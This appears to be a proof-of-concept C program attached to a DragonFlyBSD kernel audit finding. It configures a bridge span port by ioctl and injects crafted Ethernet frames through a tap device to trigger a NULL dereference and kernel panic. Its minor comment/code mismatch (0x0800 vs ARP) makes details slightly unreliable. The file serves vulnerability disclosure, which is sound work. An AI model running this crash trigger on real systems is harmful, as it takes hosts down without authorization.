⬢ DragonFlyBSD Kernel Audit
DF-3276 / span_panic.c
← back to finding ↓ download raw
/*
 * DF-3276 -- bridge span port NULL dereference -> kernel panic.
 *
 * bridge_input()/bridge_output() -> bridge_span() (if_bridge.c:3258)
 *   -> bridge_enqueue(span_ifp)   (if_bridge.c:3279)
 *   -> bridge_enqueue_handler()   (if_bridge.c:4418)
 *        bridge_handoff(dst_ifp->if_bridge, ...)   <-- NULL for span ports
 *   -> bridge_handoff()           (if_bridge.c:4433)
 *        bifp = sc->sc_ifp;                        <-- NULL deref
 *
 * Span ports never get if_bridge set (only member add does,
 * if_bridge.c:1300; bridge_ioctl_addspan never does, and
 * bridge_delete_span KASSERTs if_bridge == NULL, if_bridge.c:1152).
 *
 * Trigger: one ethernet frame through a bridge with a span port
 * configured (sc_span != 0).  Any frame works: bridge_input() calls
 * bridge_span() for every packet (if_bridge.c:2790).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bridge/if_bridgevar.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

static void die(const char *m)
{
	fprintf(stderr, "[-] %s: %s\n", m, strerror(errno));
	exit(1);
}

static void addspan(const char *bridge, const char *member)
{
	struct ifbreq r;
	struct ifdrv ifd;
	int s = socket(AF_INET, SOCK_DGRAM, 0);

	if (s < 0)
		die("socket");
	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, member, IFNAMSIZ);
	memset(&ifd, 0, sizeof(ifd));
	strlcpy(ifd.ifd_name, bridge, IFNAMSIZ);
	ifd.ifd_cmd = BRDGADDS;
	ifd.ifd_len = sizeof(r);
	ifd.ifd_data = &r;
	if (ioctl(s, SIOCSDRVSPEC, &ifd) < 0)
		die("BRDGADDS spanport");
	close(s);
}

int main(void)
{
	int fd, i;
	/* dst=broadcast src=02:00:de:ad:be:ef type=0x0800 + zero padding */
	unsigned char frame[60];

	memset(frame, 0, sizeof(frame));
	frame[0] = 0xff; frame[1] = 0xff; frame[2] = 0xff;
	frame[3] = 0xff; frame[4] = 0xff; frame[5] = 0xff;
	frame[6] = 0x02; frame[7] = 0x00; frame[8] = 0xde;
	frame[9] = 0xad; frame[10] = 0xbe; frame[11] = 0xef;
	frame[12] = 0x08; frame[13] = 0x06;	/* ETHERTYPE_ARP */

	/* configure tap2 as span (mirror) port: tap2->if_bridge stays NULL */
	addspan("bridge0", "tap2");
	printf("[+] tap2 is now a span port of bridge0 (if_bridge == NULL)\n");

	fd = open("/dev/tap0", O_RDWR);
	if (fd < 0)
		die("open /dev/tap0");

	for (i = 0; i < 8; i++) {
		if (write(fd, frame, sizeof(frame)) < 0)
			die("tap write");
		printf("[+] injected frame %d into tap0\n", i);
		usleep(200000);
	}
	sleep(2);
	printf("[-] still alive -- no panic observed\n");
	return (2);
}